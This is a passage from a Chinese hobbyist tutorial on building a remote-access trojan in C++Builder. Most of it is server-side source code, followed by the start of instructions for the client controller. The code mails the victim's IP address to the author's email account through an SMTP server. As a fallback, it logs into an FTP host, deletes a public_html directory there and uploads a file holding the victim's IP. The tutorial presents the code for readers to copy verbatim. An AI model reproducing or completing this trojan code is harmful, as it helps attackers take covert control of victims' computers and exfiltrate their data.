但还差容错部分还未完成,下面我们Go on! 其代码如下（照敲不误 ^_^）：
{
END:;
Socket-〉Close（）;
//关闭服务
ServerSocket1-〉Active =true;
//再次打开服务
if （NMSMTP1-〉Connected） NMSMTP1-〉Disconnect（）;
//如果SMTP服务器已连接则断开
NMSMTP1-〉Host = "smtp.163.net";
//选一个好用的SMTP服务器，如163、263、sina和btamail
NMSMTP1-〉UserID = "";
//你SMTP的ID
try
{
NMSMTP1-〉Connect（）;
//再次连接
}
catch（...）
{
goto NextTime;
//跳到NextTime
}
NMSMTP1-〉PostMessage-〉FromAddress ="I don't know!";
//受害者的Email地址
NMSMTP1-〉PostMessage-〉FromName = "Casualty";
//受害者的名字
NMSMTP1-〉PostMessage-〉ToAddress-〉Text = "crossbow@8848.net";
//将信发到我的邮箱，这一步很关键
NMSMTP1-〉PostMessage-〉Body-〉Text = AnsiString（"Server Running on:"） NMSMTP1-〉LocalIP ;
//信的内容提示你“服务器正在运行”，并且告诉你受害者的目前的IP地址，以便连接
NMSMTP1-〉PostMessage-〉Subject = "Server Running Now!";
//信的主题
NMSMTP1-〉SendMail（）;
//发送！
return;
//返回
NextTime:
NMFTP1-〉Host = "ftp.go.163.com";
//你的FTP服务器的地址
NMFTP1-〉UserID = "";
//你的用户ID
NMFTP1-〉Port = 21;
//FTP端口号，一般为21
NMFTP1-〉Password = "";
//你的FTP的密码
if（NMFTP1-〉Connected） NMFTP1-〉Disconnect（）;
//如果已连接就断开
try
{
NMFTP1-〉Connect（）;
//再连接
}
catch（...）
{
return;
//返回
}
AnsiString SendToSite = "Server Running on: " NMFTP1-〉RemoteIP;
//受害者的IP地址
FILE * Upload;
Upload = fopen（NMFTP1-〉RemoteIP.c_str（）,"w "）;
//创建一个新文件准备写，如果已存在就覆盖
fwrite（SendToSite.c_str（）,sizeof（char）,SendToSite.Length（）,Upload）;
//写入以上的SendToSite的内容
fclose（Upload）;
//写完后关闭此文件
NMFTP1-〉RemoveDir（"public_html"）;
//删除public_html目录
NMFTP1-〉Upload（NMFTP1-〉RemoteIP, NMFTP1-〉RemoteIP）;
//上传！
}
啊，超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件：
#include 〈stdlib.h〉
#include 〈dirent.h〉
#include 〈fcntl.h〉
#include 〈dos.h〉
#include 〈sys\stat.h〉
#include 〈winbase.h〉
#include 〈stdio.h〉
#include 〈process.h〉
#include 〈io.h〉
#include 〈mmsystem.h〉
至此，服务器端（Server）程序已全部完工！（终于可以好好歇歇了！）别慌！以上代码只是完成了整个木马程序的一半。（“扑通”，有人晕倒了！）下面我们就将乘胜追击——搞定客户端程序（Client）！
客户端程序其实是很简单的。另新建一个Form，添加一个ClientSocket（和ServerSocket在相同的页下），再添加四个Editbox，命名为Edit1，Edit2，Edit3和Edit4，最后添加一个Button，Caption为“发送”。Edit1是输入命令用的，Edit2是准备输入目标机的IP地址用的，Edit3是输入连接端口号用的，Edit4是用来输入欲添加的语句或显示命令执行的结果的。（头是不是有点大了？！）
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
